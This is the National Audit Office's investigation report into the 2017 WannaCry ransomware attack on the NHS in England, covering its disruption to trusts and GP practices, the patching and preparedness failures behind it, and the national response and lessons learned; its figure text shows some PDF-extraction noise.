+Finnian Bamber, Alex Bowyer,
+Nigel Leung, Francisca Lopes,
+Linda Mills and David Williams,
+under the direction of Robert White.
+This report can be found on the
+National Audit Office website at
+www.nao.org.uk
+For further information about the
+National Audit Office please contact:
+National Audit Office
+Press Office
+197 Buckingham Palace Road
+Victoria
+London
+SW1W 9SP
+Tel: 020 7798 7400
+Enquiries: www.nao.org.uk/contact-us
+Website: www.nao.org.uk
+Twitter: @NAOorguk
+If you are reading this document using a screen reader you may wish to use the bookmarks to navigate around this document.
+4 What this investigation is about Investigation: WannaCry cyber attack and the NHS
+What this investigation is about
+On Friday 12 May 2017 a global ransomware attack, known as WannaCry, affected
+more than 200,000 computers in at least 100 countries. In the UK, the attack particularly
+affected the NHS, although it was not the specific target. At 4 pm on 12 May, NHS England
+declared the cyber attack a major incident and implemented its emergency arrangements
+to maintain health and patient care. On the evening of 12 May a cyber
+security researcher
+activated a kill-switch so that WannaCry stopped locking devices.
+According to NHS England, the WannaCry ransomware affected at least 81 out of
+the 236 trusts across England, because they were either infected by the ransomware or
+turned off their devices or systems as a precaution. A further 603 primary care and other
+NHS organisations were also infected, including 595 GP practices.
+Before the WannaCry attack the Department of Health (the Department) and its
+s-length bodies had work under way to strengthen cyber-security in the NHS. For
+example, NHS Digital was broadcasting alerts about cyber threats, providing a hotline
+for dealing with incidents, sharing best practice and carrying out on-site assessments to
+help protect against future cyber attacks; and NHS England had embedded the 10 Data
+Security Standards (recommended by the National Data Guardian) in the standard NHS
+contract for 2017-18 and was providing training to its Board and local teams to raise
+awareness of cyber threats. In light of the WannaCry attack, the Department announced
+further plans to strengthen NHS organisations
+ cyber-security.
+Our investigation focuses on events immediately before 12 May 2017 and up
+until 30 September 2017. We only cover the effect the WannaCry attack had on the
+NHS in England. We do not cover how the WannaCry attack affected other countries
+or organisations outside the NHS. A cyber attack on either the health or social care
+sectors could cause disruption across the whole health and social care sector. For
+example, the Care Quality Commission (CQC) told us that, as some trusts were unable
+to communicate with social services, there could have been delays in the discharge
+of patients from hospital to social care, although the CQC relayed advice from NHS
+Digital and NHS England to social care providers to help manage any disruption.
+This investigation sets out the facts about:
+the ransomware attack
+s impact on the NHS and its patients;
+why some parts of the NHS were affected; and
+how the Department and NHS national bodies responded to the attack.
+Investigation: WannaCry cyber attack and the NHS Summary 5
+Summary
+The WannaCry attack affected NHS services in the week from 12 May to
+19 May 2017. The Department of Health (the Department) and NHS England worked with
+NHS Digital, NHS Improvement, the National Cyber Security Centre, the National Crime
+Agency and others to respond to the attack.
+Key findings
+The risk of a cyber attack affecting the NHS
+WannaCry was the largest cyber attack to affect the NHS, although individual
+trusts had been attacked before 12 May 2017. For example, two of the trusts infected
+by WannaCry had been infected by previous cyber attacks. One of England
+s biggest
+trusts, Barts Health NHS Trust, had been infected before, and Northern Lincolnshire and
+Goole NHS Foundation Trust had been subject to a ransomware attack in October 2016,
+leading to the cancellation of 2,800 appointments (paragraph 3.7 and Figure 5).
+The Department was warned about the risks of cyber attacks on the
+NHS a year before WannaCry and although it had work under way it did not
+formally respond with a written report until July 2017. The Secretary of State for
+Health asked the National Data Guardian and the Care Quality Commission (CQC) to
+undertake reviews of data security. These reports were published in July 2016 and
+warned the Department that cyber attacks could lead to patient information being
+lost or compromised and jeopardise access to critical patient record systems. They
+recommended that all health and care organisations needed to provide evidence that
+they were taking action to improve cyber-security, including moving off old operating
+systems. Although the Department and its arm
+s-length bodies had work under way to
+improve cyber-security in the NHS, the Department did not publish its formal response
+to the recommendations until July 2017 (paragraphs 3.6 and 3.11).
+6 Summary Investigation: WannaCry cyber attack and the NHS
+The Department and its arm
+s-length bodies did not know whether local NHS
+organisations were prepared for a cyber attack. Local healthcare organisations such
+as trusts and clinical commissioning groups are responsible for keeping the information
+they hold secure, and for having arrangements in place to respond to an incident or
+emergency, including a cyber attack. Local healthcare bodies are overseen by the
+Department and its arm
+s-length bodies. The Department and Cabinet Office wrote to
+trusts in 2014, saying it was essential they had 
+robust plans
+ to migrate away from old
+software, such as Windows XP, by April 2015. In March and April 2017, NHS Digital had
+issued critical alerts warning organisations to patch their systems to prevent WannaCry.
+However, before 12 May 2017, the Department had no formal mechanism for assessing
+whether NHS organisations had complied with its advice and guidance. Prior to the
+attack, NHS Digital had conducted an on-site cyber-security assessment for 88 out of
+236 trusts, and none had passed. However, NHS Digital cannot mandate a local body
+to take remedial action even if it has concerns about the vulnerability of an organisation
+(paragraphs 2.5, 2.7, 2.10 to 2.12 and 3.2, and Figure 4).
+How the WannaCry attack affected the NHS
+The attack led to disruption in at least 34% of trusts in England although
+the Department and NHS England do not know the full extent of the disruption
+(Figure 1). On 12 May, NHS England initially identified 45 NHS organisations including
+37 trusts that had been infected by the WannaCry ransomware. Over the following days,
+more organisations reported they had been affected. In total, at least 81 out of 236
+trusts across England were affected. The trusts included:
+37 infected and locked out of devices (of which, 27 were acute trusts); and
+44 not infected but reporting disruption. For example, these trusts shut down their
+email and other systems as a precaution and on their own initiative, as they had not
+received central advice early enough on 12 May to inform their decisions on what
+to do. This meant, for example, that they had to use pen and paper for activities
+usually performed electronically.
+NHS England and NHS Digital identified a further 21 trusts that were attempting to
+contact the WannaCry domain, but were not locked out of their devices. There are two
+possible reasons for this. Trusts may have become infected after the kill-switch had been
+activated, and were therefore not locked out of their devices. Alternatively, they may have
+contacted the WannaCry domain as part of their cyber-security activity.
+A further 603 primary care and other NHS organisations were infected by WannaCry,
+including 595 GP practices. However, the Department does not know how many NHS
+organisations could not access records or receive information, because they shared
+data or systems with an infected trust. NHS Digital told us that it believes no patient data
+were compromised or stolen (paragraphs 1.2 to 1.5 and 1.9, and Figure 1).
+Trusts not infected
+but reporting
+disruption
+Patient appointments cancelled
+GP practices and other
+organisations not infected but
+reporting disruption
+GP practices infected and
+locked out of devices
+Some of the trusts identified as not infected but reporting disruption did have a small number of devices infected. However, they did not report themselves to NHS England as
+infected, and NHS England did not recategorise them as being infected after the WannaCry attack was over.
+Some trusts, GP practices and other organisations were identified as having systems that attempted to contact the WannaCry domain, but were not locked out of their devices.
+There are two possible explanations for this: they could have become infected after the kill-switch had been activated. Or, they could have avoided infection but contacted the
+WannaCry domain as part of their cyber-security activity. NHS England does not know which organisations fall into each category.
+Source: National Audit Office analysis of NHS England data
+The numbers shown are based on organisations self-reporting problems to national bodies, and NHS England and NHS Digital
+s analysis of internet activity, and may be higher
+if some organisations did not report the problems they experienced in a timely or accurate way.
+Notes
+Other organisations
+ include clinical commissioning groups, commissioning support units, an NHS 111 provider, and non-NHS bodies that provide NHS care, such as a hospice,
+social enterprise and community interest companies.
+Number of patients diverted from accident and emergency departments at infected trusts to other organisations, includes patients conveyed in an ambulance
+Number of trusts or GPs that were delayed in receiving information, such as test results, from infected trusts
+GP practices and other organisations
+where systems were attempting to
+contact WannaCry domain, but not
+locked out of devices
+Other organisations infected and
+locked out of devices
+Primary care and other NHS organisations
+Number of NHS organisations unable to access records because they shared data or systems with an infected trust
+Unknown disruption
+Trusts where systems
+were attempting to contact
+WannaCry domain, but not
+locked out of devices
+Hospital care
+Patient appointments cancelled Estimated 19,494
+Including cancelled patient operations
+(Including 27 acute trusts)
+Trusts infected and
+locked out of devices
+Known disruption
+The NHS experienced a wide range of disruption as a consequence of the WannaCry cyber attack
+Figure 1
+The impact of WannaCry on the NHS
+Figure 1 shows that the NHS experienced a wide range of disruption as a consequence of the WannaCry cyber attack
+Investigation: WannaCry cyber attack and the NHS Summary 7
+8 Summary Investigation: WannaCry cyber attack and the NHS
+Thousands of appointments and operations were cancelled and in five
+areas patients had to travel further to accident and emergency departments.
+Between 12 May and 18 May, NHS England collected some information on cancelled
+appointments, to help it manage the incident, but this did not include all types of
+appointment. NHS England identified 6,912 appointments had been cancelled, and
+estimated more than 19,000 appointments would have been cancelled in total, based
+on the normal rate of follow
+up appointments to first appointments. NHS England told
+us it does not plan to identify the actual number because it is focusing its efforts on
+responding appropriately to the lessons learned from WannaCry. As data were not
+collected during the incident, neither the Department nor NHS England know how many
+GP appointments were cancelled, or how many ambulances and patients were diverted
+from the five accident and emergency departments that were unable to treat some
+patients (paragraphs 1.7, 1.8 and 1.10, and Figure 1).
+The Department, NHS England and the National Crime Agency told us that
+no NHS organisation paid the ransom, but the Department does not know how
+much the disruption to services cost the NHS. The Department, NHS England and
+the National Crime Agency told us no NHS organisation paid the ransom. NHS Digital
+told us it advised the trusts it spoke to not to pay the ransom, and wrote to all trusts on
+14 May advising against the payment of ransoms. The Department does not know the
+cost of the disruption to services. Costs include: cancelled appointments; additional IT
+support provided by local NHS bodies, or IT consultants; or the cost of restoring data and
+systems affected by the attack. National and local NHS staff worked overtime including
+over the weekend of 13-14 May to resolve problems and to prevent a fresh wave of
+organisations being affected by WannaCry on Monday 15 May (paragraphs 1.11 and 1.12).
+The cyber attack could have caused more disruption if it had not been
+stopped by a cyber researcher activating a 
+kill-switch
+. On the evening of 12 May
+a cyber-security researcher activated a 
+kill-switch
+ so that WannaCry stopped locking
+devices. This meant that some NHS organisations had been infected by the WannaCry
+ransomware, but because of the researcher
+s actions, they were not locked out of
+their devices and systems. Between 15 May and mid-September NHS Digital and
+NHS England identified a further 92 organisations, including 21 trusts, as contacting
+the WannaCry domain, although some of these may have been contacting the
+domain as part of their cyber-security activity. Of the 37 trusts infected and locked
+out of devices, 32 were located in the North NHS region and the Midlands and East
+NHS region. NHS England believes more organisations were infected in these regions
+because they were hit early on 12 May before the WannaCry 
+kill-switch
+ was activated
+(paragraphs 1.14 and 2.2, and Figure 3).
+Investigation: WannaCry cyber attack and the NHS Summary 9
+The NHS response to the attack
+The Department had developed a plan, which included roles and
+responsibilities of national and local organisations for responding to an attack,
+but had not tested the plan at a local level. This meant the NHS was not clear what
+actions it should take when affected by WannaCry. NHS England found that responding
+to WannaCry was different from dealing with other incidents, such as a major transport
+accident. Because WannaCry was different it took more time to determine the cause
+of the problem, the scale of the problem and the number of organisations and people
+affected (paragraph 3.3 and Figure 2).
+10 As the NHS had not rehearsed for a national cyber attack it was not
+immediately clear who should lead the response and there were problems with
+communications. The WannaCry attack began on the morning of 12 May. At 4 pm
+NHS England declared the cyber attack a major incident and at 6:45 pm initiated
+its existing Emergency, Preparedness, Resilience and Response plans to act as the
+single point of coordination for incident management, with support from NHS Digital
+and NHS Improvement. In the absence of clear guidelines on responding to a national
+cyber attack, local organisations reported the attack to different organisations within
+and outside the health sector, including local police. Communication was difficult in
+the early stages of the attack as many local organisations could not communicate with
+national NHS bodies by email as they had been infected by WannaCry or had shut down
+their email systems as a precaution, although NHS Improvement did communicate
+with trusts
+ chief executive officers by telephone. Locally, NHS staff shared information
+through personal mobile devices, including using the encrypted WhatsApp application.
+Although not an official communication channel, national bodies and trusts told us it
+worked well during this incident (paragraphs 3.3 to 3.5 and Figure 2).
+11 In line with its existing procedures for managing a major incident, NHS
+England initially focused on maintaining emergency care. Since the attack occurred
+on a Friday this caused minimal disruption to primary care services, which tend to
+be closed over the weekend. Twenty-two of the 27 infected acute trusts managed to
+continue treating urgent and emergency patients throughout the weekend. However,
+five 
+ in London, Essex, Hertfordshire, Hampshire and Cumbria 
+ had to divert patients
+to other accident and emergency departments, and a further two needed outside help
+to continue treating patients. By 16 May only two hospitals were still diverting patients.
+The recovery was helped by the work of the cyber-security researcher that stopped
+WannaCry spreading (paragraphs 1.7, 1.13 and 1.14).
+10 Summary Investigation: WannaCry cyber attack and the NHS
+Lessons learned
+12 NHS Digital told us that all organisations infected by WannaCry shared
+the same vulnerability and could have taken relatively simple action to protect
+themselves. All NHS organisations infected by WannaCry had unpatched or
+unsupported Windows operating systems so were susceptible to the ransomware.
+However, whether organisations had patched their systems or not, taking action
+to manage their firewalls facing the internet would have guarded organisations
+against infection. NHS Digital told us that the majority of NHS devices infected were
+unpatched but on supported Microsoft Windows 7 operating systems. Unsupported
+devices (those on XP) were in the minority of identified issues. NHS Digital has also
+confirmed that the ransomware spread via the internet, including through the N3
+network (the broadband network connecting all NHS sites in England), but that there
+were no instances of the ransomware spreading via NHSmail (the NHS email system)
+(paragraphs 1.2, 1.6 and 2.4 to 2.6).
+13 There was no clear relationship between vulnerability to the WannaCry
+attack and leadership in trusts. We found no clear relationship between trusts
+infected by WannaCry and the quality of their leadership, as rated by the Care Quality
+Commission (paragraph 2.8).
+14 The NHS has accepted that there are lessons to learn from WannaCry and
+is taking action. Lessons identified by the Department and NHS national bodies
+include the need to:
+develop a response plan setting out what the NHS should do in the event of a
+cyber attack and establish the roles and responsibilities of local and national
+NHS bodies and the Department;
+ensure organisations implement critical CareCERT alerts (emails sent by
+NHS Digital providing information or requiring action), including applying
+software patches and keeping anti-virus software up to date;
+ensure essential communications are getting through during an attack
+when systems are down; and
+ensure that organisations, boards and their staff are taking the cyber threat
+seriously, understand the direct risks to front-line services and are working
+proactively to maximise their resilience and minimise impacts on patient care.
+Since WannaCry, NHS England and NHS Improvement have written to every trust,
+clinical commissioning group and commissioning support unit asking boards to
+ensure that they have implemented all 39 CareCERT alerts issued by NHS Digital
+between March and May 2017 and taken essential action to secure local firewalls
+(paragraphs 3.8 and 3.9).
+Investigation: WannaCry cyber attack and the NHS Part One 11
+Part One
+The impact of the cyber attack
+1.1 WannaCry was the largest ever cyber attack to affect the NHS in England.
+The timeline of the main events relating to the WannaCry ransomware attack which affected
+NHS services in the week from 12 May to 19 May 2017 is set out in Figure 2 overleaf.
+The scale of the attack
+1.2 NHS Digital told us that the ransomware spread via the internet, including through
+the N3 network. As shown in Figure 1 (page 7), the WannaCry ransomware attack
+affected at least 81 out of 236 trusts across England. These numbers are based on
+NHS organisations
+ own reports to NHS England. Of these 81 trusts, there were:
+37 trusts infected and locked out of devices (of which, 27 were acute trusts); and
+44 trusts not infected but reporting disruption.
+NHS England and NHS Digital identified a further 21 trusts that were attempting to
+contact the WannaCry domain, but were not locked out of their devices. There are two
+possible reasons for this. Trusts may have become infected after the kill-switch had been
+activated, and were therefore not locked out of their devices.1 Alternatively, they may
+have contacted the WannaCry domain as part of their cyber-security activity.
+1.3 The trusts infected by the WannaCry ransomware experienced two main types of
+disruption including:
+NHS staff being locked out of devices, which prevented or delayed staff accessing
+and updating patient information, sending test results to patients
+ GPs and
+transferring or discharging patients from hospital; and
+medical equipment and devices being locked, or isolated from trusts
+ IT systems to
+prevent them being locked. This meant trusts
+ radiology and pathology departments
+were disrupted as the trusts relied on the equipment and devices for diagnostic
+imaging (such as MRI scanners) and for testing blood and tissue samples.
+kill-switch
+ is a mechanism that is incorporated into software to shut down that software, or the device on which it
+sits, in an emergency situation in which it cannot be shut down in the usual manner.
+Monday 15 May
+Tuesday 16 May 
+ Only two trusts
+diverting patients away from A&E
+Source: National Audit Office
+Initially unclear as to who was taking the lead. The
+Department of Health leads on cyber issues, but
+once it was clear it was a major operational incident
+NHS England took the lead
+Social media was also reporting the cyber attack
+Front-line staff in organisations were calling up either
+NHS England or NHS Digital as well as the police
+Friday 12 May
+Friday 19 May
+5:30pm Friday 19 May 
+ Incident
+is stood down by NHS England
+There was no formal mechanism for assessing whether NHS
+organisations had complied with NHS Digital
+s instructions, so
+one was put in place. This involved NHS England
+s Emergency
+Preparedness, Resilience and Response team requiring providers
+to confirm action had been taken on a number of items
+Five trusts were unable to provide emergency care, so arranged to
+divert patients to other locations
+595 GP practices and 45 other NHS organisations infected,
+including 27 acute trusts
+NHS England
+worked with
+IT suppliers of
+GP practices
+(commissioning
+support units or
+private sector
+support) to 
+patch
+ IT systems
+Ensuring trusts
+and primary care
+organisations had
+up-to-date antivirus
+software installed on
+their systems
+Monday 15 May 
+ Friday 19 May 
+ Third phase of NHS England
+s response: Remedial phase
+Saturday 13 May 
+ Monday 15 May 
+ Second phase of NHS England
+s response: Ensure that primary care services were stable
+Friday 12 May 
+ Sunday 14 May 
+ First phase of NHS England
+s response: Focus on securing emergency care pathways
+Friday 12 May - Global ransomware attack
+By the evening of Sunday 14 May 
+ 3,486 GP
+practices (44%) had applied necessary patches
+Evening 
+ Cyber expert discovers 
+kill-switch
+ and stops malware spreading further
+6:45 pm 
+ Decision that NHS England would lead the response, co-ordinating with key partners, particularly NHS Digital
+4:00 pm 
+ NHS England declares the cyber attack a national major incident
+1:06 pm 
+ First notification to NHS England
+s Emergency Preparedness, Resilience and Response team of the attack
+Late morning 
+ First trusts begin to report problems
+Friday 12 May
+NHS England emergency response to WannaCry lasted one week
+Figure 2
+Timeline of the WannaCry attack from 12 May to 19 May 2017
+Figure 2 shows The Department has major projects covering most of its priority areas
+12 Part One Investigation: WannaCry cyber attack and the NHS
+Investigation: WannaCry cyber attack and the NHS Part One 13
+As at 19 May 2017, NHS England had identified 1,220 pieces of diagnostic equipment
+that had been infected, 1% of all such NHS equipment. Although a relatively small
+proportion of devices, the figure does not include devices disconnected from IT systems
+to prevent infection. The trusts we spoke to told us about the disruption they had
+experienced due to diagnostic equipment being infected or isolated, such as not being
+able to send MRI scan results to clinicians treating patients in other parts of the hospital.
+1.4 The disruption at trusts not infected by the ransomware was caused by:
+the absence of timely central direction, leading to the trusts taking actions on their
+own initiative to avoid becoming infected, including shutting down devices or isolating
+devices from their networks to protect themselves from the ransomware; or
+trusts not being able to access electronic patient records or receive information,
+such as test results, because they shared data or systems with an infected trust
+which had shut down its systems; or
+trusts disconnecting from the N3 network, the broadband network connecting all
+NHS sites in England.
+1.5 The disruption at these trusts took a number of forms. For example, some trusts
+had to use manual workarounds to perform their usual tasks, such as providing
+medication to patients, and record information using pen and paper. In addition,
+organisations could not receive external emails, so communication with national bodies
+and others outside their trust was severely limited.
+1.6 Despite widespread local disruption, NHS Digital told us that national NHS IT
+systems managed by NHS Digital were not infected, such as the NHS Spine (a service
+holding secure databases of demographic and clinical information) and NHSmail
+(the NHS email system).
+1.7 Of the 27 acute trusts infected and locked out of devices, five had to divert
+emergency ambulance services to other hospitals. The five trusts and hospitals were:
+Barts Health NHS Trust (Royal London Hospital);
+Mid Essex Hospital Services NHS Trust (Broomfield Hospital);
+East and North Hertfordshire NHS Trust (Lister Hospital);
+Hampshire Hospitals NHS Foundation Trust (Basingstoke Hospital); and
+North Cumbria University Hospitals NHS Trust (West Cumberland Hospital).
+14 Part One Investigation: WannaCry cyber attack and the NHS
+The impact on patients
+1.8 As infected NHS organisations could not access important information and
+electronic systems, including patient records, they had to cancel appointments and
+operations and some trusts had to divert patients to other accident and emergency
+departments. Between 12 May and 18 May, NHS England collected some information
+on how many appointments had been cancelled to help it manage the incident, but
+did not collect data on all types of appointment. NHS England identified that the NHS
+had cancelled 6,912 appointments, but this figure does not include repeat outpatient
+appointments and cancellations identified after 18 May. NHS England estimated the total
+number of cancelled appointments as being around 19,494, based on the normal rate
+of follow-up appointments to first appointments, but told us it does not plan to identify
+the actual number because it is focusing its efforts on responding appropriately to the
+lessons learned from WannaCry. NHS England did not collect data on how many GP
+appointments were cancelled or how many ambulances and patients were diverted from
+the accident and emergency departments that were unable to treat patients.
+1.9 NHS organisations did not report any cases of harm to patients or of data being
+compromised or stolen. If the WannaCry ransomware attack had led to any patient harm
+or loss of data then NHS England told us that it would expect trusts to report cases
+through existing reporting channels, such as reporting data loss direct to the Information
+Commissioner
+s Office (ICO) in line with existing policy and guidance on information
+governance. NHS Digital also told us that analysis of the WannaCry ransomware
+suggested that the cyber attack was not aimed at accessing or stealing data, although
+it does not know for certain that this is the case.
+1.10 The NHS continued to provide emergency care from 12 May to 19 May, although
+some patients had to travel further as five hospitals had diverted services (paragraph 1.7).
+Patients with planned appointments experienced most disruption. Cancer charities,
+including Macmillan Cancer Support and Cancer Research UK, reported cancellations
+causing distress to patients. NHS England
+s own review identified at least 139 patients
+who had an urgent referral for potential cancer cancelled, as at 18 May, although the
+actual number may be higher if trusts misreported during the data collection or identified
+cancellations after 18 May.
+The financial impact
+1.11 The Department of Health (the Department), NHS England and the National Crime
+Agency have told us that no NHS organisations paid the ransom. NHS Digital told us it
+advised against the payment of the WannaCry ransom during site visits and telephone
+conferences with infected trusts. Furthermore, NHS England and NHS Digital wrote to
+all trusts on 14 May advising them against the payment of ransoms, but these emails
+did not always reach trusts after that attack had begun.
+Investigation: WannaCry cyber attack and the NHS Part One 15
+1.12 The NHS has not calculated the total cost of cancelled appointments; of NHS staff
+overtime; of additional IT support provided by NHS local bodies or IT consultants; or the
+cost of restoring data and systems affected by the attack. For example, trusts and other
+NHS organisations had to roll back systems and restore data and systems, including
+re-entering data recorded manually while trusts
+ systems were down. National and local
+NHS staff had to work overtime, including over the weekend of 13
+14 May, to resolve
+problems and to prevent a fresh wave of organisations being affected by WannaCry
+on Monday 15 May.
+The recovery
+1.13 In line with its established procedures for responding to a major incident, NHS
+England focused its initial response on maintaining emergency care, and within 24 hours
+began attending to primary care. Since the attack occurred on a Friday it caused
+minimal disruption to primary care services, which tend to be closed over the weekend.
+Twenty-two of the 27 infected acute trusts continued treating urgent and emergency
+patients throughout the weekend. However, five trusts, including Barts Health NHS
+Trust, were unable to see some patients and had to divert them to other hospitals, and
+a further two needed outside help to continue treating patients. NHS England worked
+with trusts to ensure diverts were put in place and help provided. By Tuesday 16 May,
+only two hospitals were still diverting patients: Lister Hospital in Hertfordshire and
+Broomfield Hospital in Essex. NHS England 
+stood down
+ the incident on Friday 19 May.
+1.14 The recovery was aided by the work of a cyber-security researcher who activated
+a kill-switch so that WannaCry stopped locking devices. The researcher triggered the
+kill-switch on the evening of Friday 12 May. This meant that some NHS organisations
+were infected by the WannaCry malware, but because of the actions of the researcher
+they were not locked out of their devices and systems. Between 15 May and
+September, NHS Digital and NHS England identified a further 92 organisations,
+including 21 trusts, attempting to contact the WannaCry domain, in addition to the initial
+45 organisations they had identified as being infected. Although some of these trusts
+may have contacted the WannaCry domain as part of their cyber-security activity.
+16 Part Two Investigation: WannaCry cyber attack and the NHS
+Part Two
+Why some parts of the NHS were affected
+2.1 NHS organisations across England were affected by the WannaCry attack.
+Figure 3 sets out the location of the trusts affected and shows the:
+37 trusts infected by the WannaCry malware; and
+44 trusts not infected by the malware but reporting disruption.
+2.2 Of the 37 trusts infected, 32 were located in the North NHS region and the
+Midlands and East NHS region. NHS England believes more organisations were infected
+in these regions because they were hit early on 12 May before the WannaCry kill-switch
+was activated.
+Failure to patch and update systems and reliance on old software
+2.3 It is not possible to eliminate all cyber threats but organisations can prevent harm
+through good cyber-security. Such practice includes maintaining up-to-date firewalls and
+anti-virus software, and applying patches (updates) in a timely manner. NHS England
+view is that WannaCry infected some parts of the NHS mainly because organisations
+had failed to maintain good cyber-security practices.
+2.4 NHS Digital told us that all the infected trusts had a common vulnerability in their
+Windows operating systems which was exploited by the WannaCry attack. All NHS
+organisations infected by WannaCry had unpatched, or unsupported, Windows
+operating systems. However, whether organisations had patched their systems or
+not, taking action to manage their firewalls facing the internet would have guarded
+the organisations against infection.
+Investigation: WannaCry cyber attack and the NHS Part Two 17
+Figure3showsDisruptiontofront-lineservicesaffectedallpartsofthecountrybutwasconcentratedintheNorthNHSregionandtheMidlandsandEastNHSregion
+Figure 3
+Trusts affected by the cyber attack
+Disruption to front-line services affected all parts of the country but was concentrated
+in the North NHS region and the Midlands and East NHS region
+Acute trust infected
+Other trust infected
+Acute trust affected, but not infected
+Other trust affected, but not infected
+Note
+1 NHS England believes the concentration of infected trusts in the North NHS region and the Midlands and East NHS
+region does not reflect variations in cyber-security, but may be partially explained by these organisations becoming
+infected earlier in the day, before the WannaCry 
+kill-switch
+ was activated.
+Source: National Audit Office analysis of NHS England data
+18 Part Two Investigation: WannaCry cyber attack and the NHS
+2.5 NHS Digital told us that the majority of NHS devices infected were unpatched but
+on the supported Windows 7 operating system. Trusts using Windows 7 could have
+protected themselves against WannaCry by applying a patch (or update) issued by
+Microsoft in March 2017, and NHS Digital had issued CareCERT alerts on 17 March and
+28 April asking trusts to apply the patch.2 According to the Department of Health (the
+Department), more than 90% of devices in the NHS use the Windows 7 operating system.
+2.6 A second issue was that some trusts were running the older Windows XP
+operating system on some devices. This made the trusts vulnerable because Microsoft
+was no longer releasing patches for this operating system, and so they could not
+protect their systems from WannaCry unless they isolated those devices from the
+network. Some trusts also experienced issues with some medical equipment, such
+as MRI scanners that have Windows XP embedded within them (see paragraph 1.3).
+This equipment is generally managed by the system vendors and local trusts are not
+capable of applying updates themselves. Support from the vendors of these devices
+was often poor according to NHS England and NHS Digital. However, trusts running
+Windows XP on their medical equipment could have protected themselves by isolating
+these devices from the rest of the network (although this may necessitate manual
+workarounds). In July 2017, as part of its response to the National Data Guardian review,
+the Department told local bodies to ensure that they had moved away from, or were
+actively managing, unsupported software by April 2018.
+2.7 The Department and Cabinet Office had written to trusts in 2014 offering some
+temporary help with security for old equipment until April 2015, after which time there
+would be no support. This meant that it was essential that all NHS organisations had
+robust plans
+ to migrate away from Windows XP. Despite this, the Department told
+us about 5% of the NHS IT estate, including computers and medical equipment, was
+still using Windows XP on 12 May 2017. This is partly explained by the fact that it is not
+always possible to remove or update Windows XP in applications and IT services based
+on that operating system. Immediately after the WannaCry attack Microsoft issued a
+patch for Windows XP that would prevent WannaCry and similar ransomware.
+Leadership and size of trusts
+2.8 We found no clear relationship between those trusts infected by WannaCry and
+the quality of their leadership, as rated by the Care Quality Commission (CQC). Of the
+37 trusts infected by WannaCry, four (11%) had been rated as 
+inadequate
+ against the
+well-led
+ domain at their last CQC inspection, compared with 7% of NHS organisations
+not infected.3 However, CQC had not focused on how well led trusts were in relation to
+cyber-security in their inspections before 12 May 2017. We understand CQC has plans
+to enhance its line of questions regarding information and digital systems as part of
+its inspection of the leadership of trusts in the future.
+A CareCERT alert is an email sent by NHS Digital providing information or requiring action from NHS organisations.
+Of the 37 trusts infected by WannaCry, 36 had a CQC rating.
+Investigation: WannaCry cyber attack and the NHS Part Two 19
+2.9 We also found that infected trusts tended to employ more staff than average.
+Of the 37 infected trusts:
+14 (38%) were among the 25% of trusts employing the most staff; and
+26 (70%) employed more than the median number of staff.
+Although there is limited evidence on why this should be the case, we found that:
+some of the trusts we spoke to told us that integrating IT systems when trusts
+merge (and become larger) and running many different versions of Windows
+operating systems, not all of which are supported, can be a challenge; and
+WannaCry exploited weaknesses within parts of Microsoft
+s Windows operating
+system used to share files within organisations. This meant it spread automatically
+in some cases, and organisations with large Windows networks were among the
+worst affected.
+Prepared for a cyber attack
+2.10 Before 12 May, the Department and its arm
+s-length bodies did not know whether
+trusts had complied with CareCERT alerts as no formal mechanism of assessment
+existed at that time. On 12 May, NHS Digital worked with NHS England to put in place
+a formal mechanism for assessing whether NHS organisations had complied with
+CareCERT alerts. Emergency, Preparedness, Resilience and Response (EPRR) teams
+requested a positive return from providers by midnight on 12 May that, for example
+where they had:
+not been subject to an attack, they had implemented the patch; and
+been subject to an attack, they had implemented remedial works; had been
+able to roll back their systems; and could continue to provide emergency
+services or 
+ if not 
+ had put mitigations in place.
+2.11 Before the WannaCry attack, NHS Digital offered an on-site inspection to hospitals
+to assess their cyber-security (known as 
+CareCERT Assure
+). This inspection was
+voluntary. By 12 May, NHS Digital had inspected 88 out of 236 trusts and none had
+passed. NHS Digital
+s review of the WannaCry attack concluded that CareCERT
+advice and guidance (including inspections) was mostly followed by organisations with
+relatively mature cyber
+security arrangements, while vulnerable trusts were not taking
+action to improve their security. NHS Digital also found that, in general, trusts had
+not identified cyber-security as being a risk to patient outcomes, and had tended to
+overestimate their readiness to manage a cyber attack. NHS Digital believes this reflects
+a lack of understanding of the nature of cyber risk among trusts, rather than a neglect
+of cyber
+security.
+20 Part Two Investigation: WannaCry cyber attack and the NHS
+2.12 The Department and its arm
+s-length bodies did not hold information on how
+prepared local organisations were to respond to a cyber attack, such as whether
+cyber-security appeared on organisations
+ risk registers or whether trusts complied with
+good practice. The Department and its arm
+s-length bodies also had limited central
+information on trusts
+ IT and digital assets such as anti-virus software and IP addresses.
+At the start of its investigation, the National Crime Agency had to gather evidence from
+all sites, including information on the devices affected, IP addresses and network traffic,
+to assess the impact of WannaCry on the NHS, rather than being able to access the
+information centrally.
+Investigation: WannaCry cyber attack and the NHS Part Three 21
+Part Three
+How the Department and the NHS responded
+Devolved responsibility for cyber-security
+3.1 The Department of Health (the Department) has overall national responsibility for
+cyber-security resilience and responding to incidents in the health sector. However, the
+Department devolves responsibility for managing cyber-security to local organisations 
+NHS trusts, GPs, clinical commissioning groups and social care providers. Regulators
+and other national bodies oversee and support local NHS organisations. While NHS
+foundation trusts are directly accountable to Parliament for delivering healthcare services,
+they are held to account by the same regulators as NHS trusts. Roles and responsibilities
+for cyber-security as at September 2017 are set out in Figure 4 on pages 22 and 23.
+In particular:
+NHS Improvement holds trusts and NHS foundation trusts to account for
+delivering value for money; and
+the Care Quality Commission (CQC) regulates health and social care providers
+for safety and quality of their services.
+3.2 Both bodies can mandate local NHS organisations to improve their performance.
+They also have a role in ensuring that local bodies have appropriate cyber-security
+arrangements, but neither are primarily concerned with cyber or information technology
+issues. NHS Digital provides guidance, alerts and support to local organisations on
+cyber-security, and can visit organisations to evaluate cyber-security arrangements if
+asked to do so, as part of CareCERT Assure.4 However, NHS Digital cannot mandate
+a local body to take remedial action even if it has concerns about the vulnerability of
+that organisation.
+Prior to the WannaCry attack, NHS Digital offered an on-site inspection to hospitals to assess their cyber-security.
+This was known as 
+CareCERT Assure
+ and was voluntary. NHS national bodies are currently revising this system.
+22 Part Three Investigation: WannaCry cyber attack and the NHS
+<Multiple intersecting links>
+Figure
+Figure 44
+Roles
+Roles and
+and responsibilities
+responsibilities for
+for cyber-security
+cyber-security in
+in the
+the NHS
+NHS as
+as at
+at September
+September 2017
+2017
+National
+National and
+and local
+local bodies
+bodies share
+share responsibility
+responsibility for
+for cyber-security
+cyber-security in
+in the
+the health
+health sector
+sector
+Cabinet
+CabinetOffice
+Officeleads
+leadson
+(non-mandatory)
